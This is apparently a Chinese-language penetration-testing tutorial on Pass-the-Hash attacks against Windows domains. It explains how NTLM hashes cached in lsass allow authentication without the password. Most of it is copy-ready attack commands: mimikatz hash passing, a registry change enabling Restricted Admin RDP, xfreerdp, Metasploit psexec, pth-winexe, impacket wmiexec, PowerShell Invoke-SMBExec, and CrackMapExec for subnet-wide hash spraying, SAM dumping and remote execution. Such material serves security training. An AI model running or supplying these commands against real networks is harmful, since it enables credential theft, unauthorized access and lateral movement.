简介
在Windows中,系统通常不会存储用户登录密码,而是存储密码的哈希值。所以当攻击者获取了存储在计算机中的hash值,尽管不知道明文值,也能通过传送密码的Hash值来连接远程主机
【注】微软在2014年发布了KB2871997
和KB2928120
两个补丁,用来阻止域内主机本地用户的网络登录,这样就无法以本地管理员的权限执行wmi、psexec、schtasks、at和文件访问共享
,本地用户的PTH方式已经死掉,然而默认的Administrator(SID 500)这个账户仍可以进行PTH,并且在禁用NTLM的情况下,psexec无法进行远程连接,但是使用mimikatz可以攻击成功
原理
通常访问一个UNC路径时,如果没有指定,Windows会自动用当前用户的凭证进行NTLM认证,例如dir \\Target\aaa
,由于Window会在lsass中缓存hash值,并使用它们进行认证,所以理论上在lsass中添加包含目标账户的hash的合法数据结构,就可以在使用类似于dir这些命令时用目标账户进行认证
攻击方式
- 获取一台域主机高权限
- 利用mimikatz等工具导出密码hash
- 用导出的hash尝试登陆其他域主机
常用工具
1.mimikatz
演示
利用mimikatz获取目标账户名以及hash值
1 | * Username : Administrator |
然后在测试机器上使用mimikatz进行Pass The Hash,由于软件的限制运行需要管理员权限
1 | mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:Yoga /ntlm:86c01dc8633fc387a503b05615f8afb1" |
默认是弹出cmd程序,可以利用/run
指定传递的程序
实现远程桌面
- 限制条件
需要服务器端开启了Restricted Admin mode
模式,受限管理员模式 ,主要功能是使得凭据不会暴露在目标系统中,使用当前Windows登录凭据,不需要输入口令,直接登录即可。所以为PTH提供了可能
- 适用系统
- Windows 8.1和Windows Server 2012 R2默认支持该功能
- Windows 7和Windows Server 2008 R2默认不支持,需要安装补丁2871997、2973351
- 开启RAM模式
1 | REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f |
- 使用RAM模式连接
mstsc.exe /restrictedadmin
综上述,Server需要开启RAM模式,Client需要支持RAM
1 | privilege::debug |
然后直接连接登录即可。
或者使用kali下的xfreerdp
进行连接
1 | xfreerdp /u:administrator /pth:d25ecd13fddbb542d2e16da4f9e0333d /v:192.168.62.136 /cert-ignore |
2.MSF
条件:①开启445端口SMB服务(默认开启);②开启admin$共享
1 | use exploit/windows/smb/psexec |
3.Kali
kali存在以下pass the hash利用工具
- pth-curl
- pth-rpcclient
- pth-net
- pth-smbclient
- pth-smbget
- pth-sqsh
- pth-winexe
- pth-wmis
- pth-wmic
1 | pth-winexe -U Administrator%d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1 //192.168.1.178 cmd |
4.Wmiexec
在linux下配置python安装impacket
用来横向移动
EXE版本:传送门
1 | python wmiexec.py -hashes d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1 WORKSPACE/Administrator@192.168.1.178 "whoami" |
【注】
- py文件中提示需要Admin用户,经测试普通用户权限即可;
- hashes参数格式为LMHASH:NTHASH,由于高版本Windows系统默认不支持LMhash,所以LM可以设定为任意值;
- wmiexec.exe是通过python impacket库实现的,生成的exe有点大,5M大小在实战起来有点不方便
5.Powershell
Invoke-WMIExec
1 | Invoke-WMIExec -Target 192.168.1.161 -Domain WORKGROUP -Username Yoga -Hash AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 -Command "calc.exe" -verbose |
类似于wmiexec.py 权限为用户权限
Invoke-SMBExec
1 | Invoke-SMBExec -Target 192.168.1.161 -Domain WORKGROUP -Username Yoga -Hash AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 -Command "calc.exe" -verbose |
通过在目标主机创建服务执行命令,所以权限为system
Invoke-SMBClient
支持SMB1,SMB2,SMB signing 如果只有SMB文件共享的权限,没有远程执行权限,可以使用这个脚本。可以列举目录、上传文件、下载文件、删除文件(取决于该口令Hash的权限)
详细命令在项目的README中
6.CrackMapExec
CrackMapExec提供了域环境(活动目录)渗透测试中一站式便携工具,它具有列举登录用户、通过SMB(Server Message Block)网络文件共享协议爬虫列出SMB分享列表,执行类似于Psexec的攻击、使用powerShell脚本执行自动式Mimikatz/Shellcode/DLL注入到内存中,dump NTDS.dit密码。
WiKi:https://github.com/byt3bl33d3r/CrackMapExec/wiki
安装:
1 | pip install crackmapexec |
对192.168.0.0/24 C段进行批量PTH
1 | crackmapexec 192.168.0.0/24 -u administrator -H d747b7b8037e8669c771f6a9d803419b:86c01dc8633fc387a503b05615f8afb1 |
获取本地hash
1 | crackmapexec smb 192.168.1.161 -u Yoga -H AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 --sam |
执行命令
支持3种Command,参数–exec-method指定,默认为wmiexec执行
- smbexec (system权限)
- wmiexec (用户权限)
- atexec (system权限)
1 | crackmapexec smb 192.168.1.161 -u Yoga -H AAD3B435B51404EEAAD3B435B51404EE:14CE14C36F1F350380B41C6F4D42BC06 --exec-method wimexec -x whoami |
还支持模块功能,比如反弹msfshell、加载mimikatz等,可以说是非常多的功能了